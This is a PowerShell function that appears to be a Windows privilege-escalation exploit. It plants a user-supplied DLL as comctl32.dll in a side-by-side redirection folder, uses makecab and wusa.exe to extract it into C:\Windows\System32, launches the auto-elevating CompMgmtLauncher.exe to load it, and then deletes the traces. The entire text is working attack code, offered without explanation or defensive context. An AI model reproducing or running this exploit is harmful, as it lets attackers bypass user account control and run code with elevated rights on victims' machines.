function invoke-compmgmtlauncher{
        param(
            [Parameter(Mandatory)]
            [string] $dll,
            [Parameter(Mandatory)]
            [String] $base
        )

   $file = "\$dll"
   $path = $base
   $evil = $(echo $path$file)
   $dst = $(echo "$evil.cab")
   
   #Create Directory
   mkdir "$path\compMgmtLauncher.exe.Local"
   $path1 =  "$path\compMgmtLauncher.exe.Local"
   mkdir $path1\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d
   $path = "$path1\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d"
   #x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d
   cp $evil $path
   
   #Create DDF File
   $texto = ".OPTION EXPLICIT       
 
    .Set CabinetNameTemplate=mycab.CAB
    .Set DiskDirectoryTemplate=.
     
    .Set Cabinet=on
    .Set Compress=on
    .Set DestinationDir=compMgmtLauncher.exe.Local\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d
    ""compMgmtLauncher.exe.Local\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\comctl32.dll"""

    $MyPath = "$base\proof.ddf"
    $texto | Out-File -Encoding "UTF8" $MyPath
   
   #CAB File
   cd $base
   makecab.exe /f $MyPath
   rm $MyPath\setup*
   
   #WUSA Copy
   wusa.exe "$base\mycab.CAB" /extract:c:\Windows\System32 
   
   #Run Process
   Start-Process C:\Windows\system32\CompMgmtLauncher.exe
   
   #Remove folder and CAB file
   rm "$base\mycab.CAB" 
   rm "$base\proof.ddf"
   rm "$base\setup*"
   rm -Force $path1 -Recurse
  
}
